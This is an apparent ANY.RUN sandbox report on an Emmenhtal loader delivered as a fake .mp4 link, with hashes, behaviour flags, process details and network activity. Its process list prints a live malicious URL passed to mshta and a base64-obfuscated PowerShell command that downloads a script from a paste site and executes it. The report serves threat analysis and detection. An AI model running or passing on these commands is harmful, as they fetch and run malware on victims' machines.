URL:

https://rebekkaworm.snuggleam.org/MARBI.mp4

Full analysis: https://app.any.run/tasks/ece5a78a-fcca-4a38-882a-5b15780cfd53
Verdict: Malicious activity
Threats:

First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments.

Malware Trends Tracker     >>>
Analysis date: December 10, 2024, 14:06:55
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
emmenhtal
loader
Indicators:
MD5:

15E2CCD8EEB7A3BC9E7727FAA8D76276

SHA1:

B21F683EA923B77A1DEBE3420136AA0D8E84ED40

SHA256:

9E4EDD0173059D3083B1CCDE61E43D9DB59CB58FC566F0F84778EE5EC844E515

SSDEEP:

3:N8NN/eL9I7n:2NN/e6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7836)

    • EMMENHTAL loader has been detected

      • powershell.exe (PID: 7836)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 4548)
      • powershell.exe (PID: 7836)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 7836)

    • Executing a file with an untrusted certificate

      • PicasaPhotoViewer.exe (PID: 7436)

  • SUSPICIOUS

    • Executes script without checking the security policy

      • powershell.exe (PID: 7836)
      • powershell.exe (PID: 4128)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 4548)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 4548)
      • powershell.exe (PID: 7836)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 4548)
      • powershell.exe (PID: 7836)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 7836)
      • powershell.exe (PID: 4128)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 7836)

    • Application launched itself

      • powershell.exe (PID: 7836)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 7836)

    • BASE64 encoded PowerShell command has been detected

      • powershell.exe (PID: 7836)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 7548)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4128)
      • csc.exe (PID: 7548)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 4128)

  • INFO

    • Reads the computer name

      • identity_helper.exe (PID: 8076)

    • Checks supported languages

      • identity_helper.exe (PID: 8076)

    • Application launched itself

      • msedge.exe (PID: 6316)

    • Manual execution by a user

      • cmd.exe (PID: 7884)

    • Reads Environment values

      • identity_helper.exe (PID: 8076)

    • Checks proxy server information

      • mshta.exe (PID: 4548)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7836)
      • powershell.exe (PID: 4128)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 7836)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 7836)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 7836)

    • The sample compiled with english language support

      • powershell.exe (PID: 4128)

    • The executable file from the user directory is run by the Powershell process

      • PicasaPhotoViewer.exe (PID: 7436)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 7548)

    • Disables trace logs

      • powershell.exe (PID: 4128)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 4128)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
170
Monitored processes
37
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs cmd.exe no specs conhost.exe no specs identity_helper.exe no specs identity_helper.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs mshta.exe #EMMENHTAL powershell.exe no specs conhost.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs powershell.exe conhost.exe no specs csc.exe cvtres.exe no specs msedge.exe no specs picasaphotoviewer.exe no specs msedge.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1296\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2088"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4276 --field-trial-handle=2352,i,12781365859636033110,11728118871897858538,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3560C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESD5A3.tmp" "c:\Users\admin\AppData\Local\Temp\CSC3E5D13FEA004D8EAC87669D3CD81BB3.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_clr0400.dll
4128"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4468"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --no-appcompat-clear --mojo-platform-channel-handle=6344 --field-trial-handle=2352,i,12781365859636033110,11728118871897858538,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4548"mshta.exe" https://rebekkaworm.snuggleam.org/MARBI.mp4C:\Windows\System32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
4980"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4176 --field-trial-handle=2352,i,12781365859636033110,11728118871897858538,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5236"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5864 --field-trial-handle=2352,i,12781365859636033110,11728118871897858538,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5888"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6724 --field-trial-handle=2352,i,12781365859636033110,11728118871897858538,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6160"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6432 --field-trial-handle=2352,i,12781365859636033110,11728118871897858538,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
16 482
Read events
16 466
Write events
16
Delete events
0

Modification events

(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics
Operation:writeName:user_experience_metrics.stability.exited_cleanly
Value:
0
(PID) Process:(6316) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault
Operation:writeName:S-1-5-21-1693682860-607145093-2874071422-1001
Value:
198C264781872F00
(PID) Process:(6316) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault
Operation:writeName:S-1-5-21-1693682860-607145093-2874071422-1001
Value:
655A2F4781872F00
(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\263006
Operation:writeName:WindowTabManagerFileMappingId
Value:
{4307E8C9-A4F7-462D-8FF9-D4196D1C1A92}
(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\263006
Operation:writeName:WindowTabManagerFileMappingId
Value:
{EB2E7435-D427-42DF-B7E4-700E2EBDE2C5}
(PID) Process:(6316) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault
Operation:writeName:S-1-5-21-1693682860-607145093-2874071422-1001
Value:
0ADB7D4781872F00
(PID) Process:(6316) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A
Value:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
Executable files
2
Suspicious files
199
Text files
52
Unknown types
4

Dropped files

PID
Process
Filename
Type
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF13524a.TMP —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old~RF135259.TMP —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF135259.TMP —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF135269.TMP —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF135269.TMP —
MD5:—
SHA256:—
6316msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
64
DNS requests
49
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7260
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7260
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6408
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
4548
mshta.exe
GET
200
216.58.206.67:80
http://c.pki.goog/r/gsr1.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
4548
mshta.exe
GET
200
216.58.206.67:80
http://c.pki.goog/r/r4.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4712
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
1448
RUXIMICS.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
6316
msedge.exe
239.255.255.250:1900
—
—
—
whitelisted
6688
msedge.exe
188.114.97.3:443
rebekkaworm.snuggleam.org
—
—
unknown

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.166
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
google.com
  • 172.217.23.110
whitelisted
www.bing.com
  • 92.123.104.35
  • 92.123.104.21
  • 92.123.104.33
  • 92.123.104.37
  • 92.123.104.27
  • 92.123.104.23
  • 92.123.104.36
  • 92.123.104.29
  • 92.123.104.31
whitelisted
config.edge.skype.com
  • 13.107.42.16
whitelisted
edge.microsoft.com
  • 13.107.21.239
  • 204.79.197.239
whitelisted
edge-mobile-static.azureedge.net
  • 13.107.253.45
whitelisted
rebekkaworm.snuggleam.org
  • 188.114.97.3
  • 188.114.96.3
unknown
business.bing.com
  • 13.107.6.158
whitelisted
bzib.nelreports.net
  • 2.16.10.182
  • 2.16.10.175
whitelisted

Threats

PID
Process
Class
Message
—
—
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare Network Error Logging (NEL)
6688
msedge.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare Network Error Logging (NEL)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
https://rebekkaworm.snuggleam.org/MARBI.mp4